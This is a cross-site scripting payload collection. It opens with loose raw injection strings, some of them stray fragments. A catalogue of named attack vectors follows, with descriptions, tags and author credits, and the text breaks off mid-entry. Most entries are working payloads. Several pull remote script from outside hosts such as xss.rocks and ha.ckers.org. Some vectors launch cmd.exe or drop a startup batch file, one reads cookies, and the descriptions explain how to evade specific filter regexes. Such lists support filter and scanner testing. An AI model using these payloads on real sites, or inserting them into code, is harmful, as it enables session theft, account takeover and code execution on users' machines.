<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
alert
alert(1)
alert\\`1\\`
alert`1`
<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
http://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/attack/xss/test.xxe
https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/attack/xss/test.xxe
javascript:alert%28/xss/%29
javascript:alert(1)
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
[[#%3Cscript%3Ealert(1)%3C/script%3E|
a{b:`function(){alert(1)}()`;}
"><style type=text/less>a{b:`function(){alert(1)}()`;}</style>
firefoxurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
SRC=
<IMG 6;avascript:alert('XSS')>
<IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a>
<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?<B>
<LAYER SRC="http://xss.rocks/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
exp/*<XSS STYLE='no\xss:noxss("*//*");
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
getURL("javascript:alert('XSS')")
a="get";
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
<XML SRC="http:/xss.rocks/xsstest.xml" ID=I></XML>
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.rocks/xss.js></SCRIPT>'"-->
<? echo('<SCR)';
<SCRIPT a=">" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="xss.rocks/xss.js"></SCRIPT>
A very short cross browser header injection
Exploit Name: A very short cross browser header injection
Exploit String: with(document)getElementsByTagName('head')[0].appendChild(createElement('script')).src='//ŋ.ws'
Exploit Description: This vector shows one of the shortest possible ways to inject external JavaScript into a website's header area.
Exploit Tags: xss, short, header, injection
Author Name: .mario
Add onclick event hadler
Exploit Name: Add onclick event hadler
Exploit String: onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);
Exploit Description: This vector adds an onclick event handler to a tag and appends an obfuscated JS alert.
Exploit Tags: general, JS breaking, basic, obfuscated, user interaction
Author Name: kishor
Advanced HTML injection locator
Exploit Name: Advanced HTML injection locator
Exploit String: <s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e<s>333</s><s>444</s>
Exploit Description: This vector indicates HTML injections by stroked text.
Exploit Tags: general, html breaking, injection
Advanced XSS Locator
Exploit Name: Advanced XSS Locator
Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){//
Exploit Description: Advanced XSS Locator
Exploit Tags: general, html breaking, comment breaking, JS breaking
Advanced XSS Locator for title-Injections
Exploit Name: Advanced XSS Locator for title-Injections
Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");}
Exploit Description: This is a modified version of the XSS Locator from ha.ckers.org especially crafted to check for title injections.
Exploit Tags: general, html breaking, comment breaking, JS breaking, title breaking
aim: uri exploit
Exploit Name: aim: uri exploit
Exploit String: aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
Exploit Description: This aim-uri executes the calc.exe on vulnerable systems
Exploit Tags: URI exploits, gecko, injection, general
Author Name: xs-sniper
Backslash-obfuscated XBL injection - variant 1
Exploit Name: Backslash-obfuscated XBL injection - variant 1
Exploit String: <div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk
Backslash-obfuscated XBL injection - variant 2
Exploit Name: Backslash-obfuscated XBL injection - variant 2
Exploit String: <div/style=\-\mo\z\-&
#98\i\nd\in\g:&
#92url(//busi&
#110ess\i\nfo.&
#99o.uk\/labs
\/xbl\/xbl\
.xml\#xss)&>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. All important characters are obfuscated by unclosed entities.
Backslash-obfuscated XBL injection - variant 3
Exploit Name: Backslash-obfuscated XBL injection - variant 3
Exploit String: <Q%^&*(£@!’” style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. As we can see gecko based browsers accept various characters as valid tags.
Backslash-obfuscated XBL injection - variant 4
Exploit Name: Backslash-obfuscated XBL injection - variant 4
Exploit String: <div    style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Furthermore unclosed NBSP entities are used to obfuscate the string.
Backslash-obfuscated XBL injection - variant 5
Exploit Name: Backslash-obfuscated XBL injection - variant 5
Exploit String: <x/style=-m\0o\0z\0-b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\0l\0#\0x\0s\0s\0)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Between any character of the original payload null bytes are used to obfuscate.
BASE
Exploit Name: BASE
Exploit String: <BASE HREF="javascript:alert('XSS');//">
Exploit Description: Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like ”images/image.jpg” rather than full paths. If the path includes a leading forward slash like ”/images/image.jpg” you can remove one slash from this vector (as long as there are two to begin the comment this will work
Exploit Tags: general, evil tags
Author Name: ha.ckers.org
Basic back ticked attribute breaker
Exploit Name: Basic back ticked attribute breaker
Exploit String: `> <script>alert(5)</script>
Exploit Description: This vector breaks back ticked attributes.
Exploit Tags: general, html breaking, basic
Basic double quoted attribute breaker
Exploit Name: Basic double quoted attribute breaker
Exploit String: > <script>alert(4)</script>
Exploit Description: This vector breaks double quoted attributes and produces an alert.
Exploit Tags: general, html breaking
Basic JS breaker
Exploit Name: Basic JS breaker
Exploit String: xyz onerror=alert(6);
Exploit Description: This vector just fits between script tags and fires an alerts.
Exploit Tags: general, JS breaking, basic
Basic JS breaker variant 1
Exploit Name: Basic JS breaker variant 1
Exploit String: 1;a=eval;b=alert;a(b(/c/.source));
Exploit Description: This vector breaks JS integer assignments.
Exploit Tags: general, JS breaking, basic, obfuscated
Basic JS breaker variant 2
Exploit Name: Basic JS breaker variant 2
Exploit String: 1];a=eval;b=alert;a(b(17));//
Exploit Description: This vector breaks JS integer assignments in arrays.
Basic JS breaker variant 3
Exploit Name: Basic JS breaker variant 3
Exploit String: ];a=eval;b=alert;a(b(16));//
Exploit Description: This vector breaks JS when placed in double quoted arrays.
Exploit Tags: general, JS breaking
Basic JS breaker variant 4
Exploit Name: Basic JS breaker variant 4
Exploit String: '];a=eval;b=alert;a(b(15));//
Exploit Description: This vector breaks JS when embedded in single quoted arrays.
Basic JS breaker variant 5
Exploit Name: Basic JS breaker variant 5
Exploit String: 1};a=eval;b=alert;a(b(14));//
Exploit Description: JS literal object breaker for integer properties.
Basic JS breaker variant 6
Exploit Name: Basic JS breaker variant 6
Exploit String: '};a=eval;b=alert;a(b(13));//
Exploit Description: JS breaker for literal objects with single quoted string properties.
Basic JS breaker variant 7
Exploit Name: Basic JS breaker variant 7
Exploit String: };a=eval;b=alert;a(b(12));//
Exploit Description: JS breaker for literal objects with double quoted string properties.
Basic JS breaker variant 8
Exploit Name: Basic JS breaker variant 8
Exploit String: a=1;a=eval;b=alert;a(b(11));//
Exploit Description: Can be used when JS can be injected directly.
Basic JS breaker variant 9
Exploit Name: Basic JS breaker variant 9
Exploit String: ;//%0da=eval;b=alert;a(b(10));//
Exploit Description: Breaks double quoted strings, injects a comment, carriage return and finally an alert.
Exploit Tags: general, JS breaking, CRLF
Basic JS breaker variant 10
Exploit Name: Basic JS breaker variant 10
Exploit String: ';//%0da=eval;b=alert;a(b(9));//
Exploit Description: Breaks single quoted strings, injects a comment, carriage return and finally an alert.
Exploit Tags: general, JS breaking, basic, obfuscated, CRLF
Basic single quoted attribute breaker
Exploit Name: Basic single quoted attribute breaker
Exploit String: '> <script>alert(3)</script>
Exploit Description: This vector breaks single quoted attributes and appends an alert.
Basic title breaker
Exploit Name: Basic title breaker
Exploit String: </title><script>alert(1)</script>
Exploit Description: This basic vector breaks HTML titles and injects JavaScript.
Exploit Tags: general, html breaking, basic, title breaking
BGSOUND
Exploit Name: BGSOUND
Exploit String: <BGSOUND SRC="javascript:alert('XSS');">
Exploit Description: BGSOUND
BODY background-image
Exploit Name: BODY background-image
Exploit String: <BODY BACKGROUND="javascript:alert('XSS');">
Exploit Description: BODY image
BODY ONLOAD
Exploit Name: BODY ONLOAD
Exploit String: <BODY ONLOAD=alert('XSS')>
Exploit Description: BODY tag (I like this method because it doesn't require using any variants of ”javascript:” or ”<SCRIPT...” to accomplish the XSS attack)
Camouflaged comment injection with JS link
Exploit Name: Camouflaged comment injection with JS link
Exploit String: <!--
<A href="
- --><a href=javascript:alert:document.domain
>test-->
Exploit Description: This vector evades filters by camouflaging as a comment and inhabiting a JS link.
Exploit Tags: general, obfuscated, comment breaking, internet explorer
Case Insensitive
Exploit Name: Case Insensitive
Exploit String: <IMG SRC=JaVaScRiPt:alert('XSS')>
Exploit Description: Case insensitive XSS attack vector.
Exploit Tags: general, evil tags, obfuscated
Character Encoding Example
Exploit Name: Character Encoding Example
Exploit String: <%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C
Exploit Description: All of the possible combinations of the character ”<” in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).
Closing JS Tag in JS String assignment
Exploit Name: Closing JS Tag in JS String assignment
Exploit String: <script>
var a = "</script> <script> alert('XSS !'); </script> <script>";
</script>
Exploit Description: For some reason, Firefox picks up the script closing tag in the quoted string and then proceeds to process the remaining script tags as code.
Exploit Tags: general, gecko, obfuscated, evil tags
Author Name: t3rmin4t0r
Commented-out Block
Exploit Name: Commented-out Block
Exploit String: <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
Exploit Description: Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.
Exploit Tags: general, obfuscated, conditional comments, internet explorer
Comment-breaker using obfuscated JavaScript
Exploit Name: Comment-breaker using obfuscated JavaScript
Exploit String: */a=eval;b=alert;a(b(/e/.source));/*
Exploit Description: This vector creates an alert by breaking multiline comments.
Exploit Tags: general, comment breaking, JS breaking
Conditional style injection for IE
Exploit Name: Conditional style injection for IE
Exploit String: width: expression((window.r==document.cookie)?'':alert(r=document.cookie))
Exploit Description: This vector uses JavaScript conditional statements to inject an alert into CSS properties - it was once used as a PoC for a vulnerability in Stefan Di Paolos data binding example.
Exploit Tags: general, obfuscated, internet explorer, style injection
Author Name: DoctorDan
Content Replace
Exploit Name: Content Replace
Exploit String: <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
Exploit Description: Content replace as an attack vector (assuming ”http://www.google.com/” is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector (”java&#x09;script:” was converted into ”java	script:”.
Cookie Manipulation
Exploit Name: Cookie Manipulation
Exploit String: <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
Exploit Description: Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).
DIV background-image 1
Exploit Name: DIV background-image 1
Exploit String: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
Exploit Description: Div background-image
Exploit Tags: general, evil tags, style injection
DIV background-image 2
Exploit Name: DIV background-image 2
Exploit String: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
Exploit Description: Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)
DIV expression
Exploit Name: DIV expression
Exploit String: <DIV STYLE="width: expression(alert('XSS'));">
Exploit Description: Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and ”expression”
Exploit Tags: general, evil tags, style injection, internet explorer
DIV w/Unicode
Exploit Name: DIV w/Unicode
Exploit String: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
Exploit Description: DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.
Double open angle brackets
Exploit Name: Double open angle brackets
Exploit String: <IFRAME SRC=http://ha.ckers.org/scriptlet.html <
Exploit Description: This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't
Exploit Tags: general, evil tags, injection, gecko
Dword Encoding
Exploit Name: Dword Encoding
Exploit String: <A HREF="http://1113982867/">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
Embed Flash
Exploit Name: Embed Flash
Exploit String: <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
Exploit Description: Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=”never” and allownetworking=”internal” it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :
Exploit Tags: general, evil tags, obfuscated, injection
Embedded Carriage Return
Exploit Name: Embedded Carriage Return
Exploit String: <IMG SRC="jav
ascript:alert('XSS');">
Exploit Description: Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).
Embedded Encoded Tab
Exploit Name: Embedded Encoded Tab
Exploit String: <IMG SRC="jav	ascript:alert('XSS');">
Exploit Description: Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.
Embedded Newline
Exploit Name: Embedded Newline
Exploit String: <IMG SRC="jav
ascript:alert('XSS');">
Exploit Description: Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.
Exploit Tags: general, evil tags, obfuscated, internet explorer
Embedded Tab
Exploit Name: Embedded Tab
Exploit String: <IMG SRC="javascript:alert('XSS');">
Exploit Description: Embedded tab to break up the cross site scripting attack.
Exploit Tags: general, evil tags, internet explorer
End title tag
Exploit Name: End title tag
Exploit String: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
Exploit Description: This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.
Exploit Tags: general, title breaking
Escaping JavaScript escapes
Exploit Name: Escaping JavaScript escapes
Exploit String: \";alert('XSS');//
Exploit Description: Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a=””;alert('XSS');//”;</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.
Evade Regex Filter 1
Exploit Name: Evade Regex Filter 1
Exploit String: <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: For performing XSS on sites that allow ”<SCRIPT>” but don't allow ”<SCRIPT SRC...” by way of the following regex filter: /<script[^>]+src/i
Evade Regex Filter 2
Exploit Name: Evade Regex Filter 2
Exploit String: <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: For performing XSS on sites that allow ”<SCRIPT>” but don't allow ”<SCRIPT SRC...” by way of a regex filter: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i this is an important one, because I've seen this regex in the wild)
Evade Regex Filter 3
Exploit Name: Evade Regex Filter 3
Exploit String: <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Another XSS to evade this regex filter: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i
Evade Regex Filter 4
Exploit Name: Evade Regex Filter 4
Exploit String: <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Yet another XSS to evade the same filter: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i
The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)
Evade Regex Filter 5
Exploit Name: Evade Regex Filter 5
Exploit String: <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: And one last XSS attack (using grave accents) to evade this regex: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i
Eval string contained in name property
Exploit Name: Eval string contained in name property
Exploit String: eval(name)
Exploit Description: This very simple but effective vector uses the eval method on the name property.
Exploit Tags: general, super short, self contained
Author Name: SIrDarckCat
Extra dot for Absolute DNS
Exploit Name: Extra dot for Absolute DNS
Exploit String: <A HREF="http://www.google.com./">XSS</A>
Extraneous Open Brackets
Exploit Name: Extraneous Open Brackets
Exploit String: <<SCRIPT>alert("XSS");//<</SCRIPT>
Exploit Description: (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.
Exploit Tags: general, obfuscated
Filter Evasion 1
Exploit Name: Filter Evasion 1
Exploit String: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.
Filter Evasion 2
Exploit Name: Filter Evasion 2
Exploit String: <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.
Firefox Lookups 1
Exploit Name: Firefox Lookups 1
Exploit String: <A HREF="//google">XSS</A>
Exploit Description: Firefox uses Google's ”feeling lucky” function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's ”keyword:” protocol. You can concatenate several keywords by using something like the following ”keyword:XSS+RSnake”
Exploit Tags: general, evil tags, gecko
Firefox Lookups 2
Exploit Name: Firefox Lookups 2
Exploit String: <A HREF="http://ha.ckers.org@google">XSS</A>
Exploit Description: This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the ”feeling lucky” function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.
Exploit Tags: general, evil tags, obfuscated, gecko
Firefox Lookups 3
Exploit Name: Firefox Lookups 3
Exploit String: <A HREF="http://google:ha.ckers.org">XSS</A>
Exploit Description: This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the ”feeling lucky” function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case ”google”).
firefoxurl: uri exploit (UXSS)
Exploit Name: firefoxurl: uri exploit (UXSS)
Exploit String: firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"
Exploit Description: This vector creates an UXSS via firefoxurl:
Exploit Tags: URI exploits, general, injection, obfuscated, internet explorer
FRAME
Exploit Name: FRAME
Exploit String: <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
Exploit Description: Frame (Frames have the same sorts of XSS problems as iframes).
Exploit Tags: general, evil tags, style injection, internet explorer
Grave Accents
Exploit Name: Grave Accents
Exploit String: <IMG SRC=`javascript:alert("RSnake says### 'XSS'")`>
Exploit Description: Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).
Half-Open HTML/JavaScript
Exploit Name: Half-Open HTML/JavaScript
Exploit String: <IMG SRC="javascript:alert('XSS')"
Exploit Description: Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the ”javascript:” directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.
Hex Encoding
Exploit Name: Hex Encoding
Exploit String: <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.
Hex Encoding w/out Semicolons
Exploit Name: Hex Encoding w/out Semicolons
Exploit String: <IMG SRC=javascript:alert('XSS')>
Exploit Description: Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
HTML Entities
Exploit Name: HTML Entities
Exploit String: <IMG SRC=javascript:alert("XSS")>
Exploit Description: HTML entities (the semicolons are required for this to work).
HTML Quoute & Comment breaker
Exploit Name: HTML Quoute & Comment breaker
Exploit String: '';!--"<script>alert(0);</script>=&{(alert(1))}
Exploit Description: This vector breaks HTML quotes and comments.
Exploit Tags: general, html breaking, comment breaking
HTML wrapped in XML
Exploit Name: HTML wrapped in XML
Exploit String: <?xml version="1.0"?>
<html:html xmlns:html='http://www.w3.org/1999/xhtml'>
<html:script>
alert(document.cookie);
</html:script>
</html:html>
Exploit Description: This vector uses HTML wrapped in XML and can be used to circumvent common filters. This works in Gecko based browsers only.
Exploit Tags: general, XML injection, evil tags, gecko, obfuscated
IE backticked semicolon injection
Exploit Name: IE backticked semicolon injection
Exploit String: <img src=`x` onrerror= ` ;; alert(1) ` />
Exploit Description: This vector utilized back ticks as attribute delimiters. This works only in IE.
Exploit Tags: general, injection, internet explorer
IE closing-tag expression injection
Exploit Name: IE closing-tag expression injection
Exploit String: </a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')">
Exploit Description: This vector exploits a bug in IE whre attributes in closing comments are evaluated.
IE expression injection
Exploit Name: IE expression injection
Exploit String: style=color: expression(alert(0));" a="
Exploit Description: This vector utilizes the feature of CSS expressions in IE.
Exploit Tags: general, injection, internet explorer, style injection
IE VB Messagebox injection
Exploit Name: IE VB Messagebox injection
Exploit String: vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
Exploit Description: This injects VB code and produces a message box. IE only.
Exploit Tags: general, basic, internet explorer
IFRAME
Exploit Name: IFRAME
Exploit String: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
Exploit Description: Iframe (If iframes are allowed there are a lot of other XSS problems as well).
Image onerror wrapped in XML statement
Exploit Name: Image onerror wrapped in XML statement
Exploit String: a=<a>
<b>
%3c%69%6d%67%2f%73%72%63%3d%31
%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e
</b>
</a>
document.write(unescape(a..b))
Exploit Description: This vector writes an erroneous image tag with onerror hanlder inside an E4X construct into the document context.
Exploit Tags: general, obfuscated, gecko, XML predicates, evil tags
Image tag with obfuscated JS URI
Exploit Name: Image tag with obfuscated JS URI
Exploit String: <IMG SRC="jav	ascript:alert(<WBR>'XSS');">
<IMG SRC="jav
ascript:alert(<WBR>'XSS');">
Exploit Description: This vector creates three image tags with differing CRLF obfuscation in the javascript: URI.
Exploit Tags: general, basic, obfuscated, evil tags, internet explorer
Author Name: OWASP
Image w/CharCode
Exploit Name: Image w/CharCode
Exploit String: <IMG SRC=javascript:alert(String.fromCharCode(88###83###83))>
Exploit Description: If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.
IMG Dynsrc
Exploit Name: IMG Dynsrc
Exploit String: <IMG DYNSRC="javascript:alert('XSS');">
Exploit Description: IMG Dynsrc
IMG Embedded commands 1
Exploit Name: IMG Embedded commands 1
Exploit String: <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Exploit Description: This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.
IMG Embedded commands 2
Exploit Name: IMG Embedded commands 2
Exploit String: Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Exploit Description: IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC=”http://badguy.com/a.jpg”> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).
Exploit Tags: general, redirect
IMG Lowsrc
Exploit Name: IMG Lowsrc
Exploit String: <IMG LOWSRC="javascript:alert('XSS');">
Exploit Description: IMG Lowsrc
IMG No Quotes/Semicolon
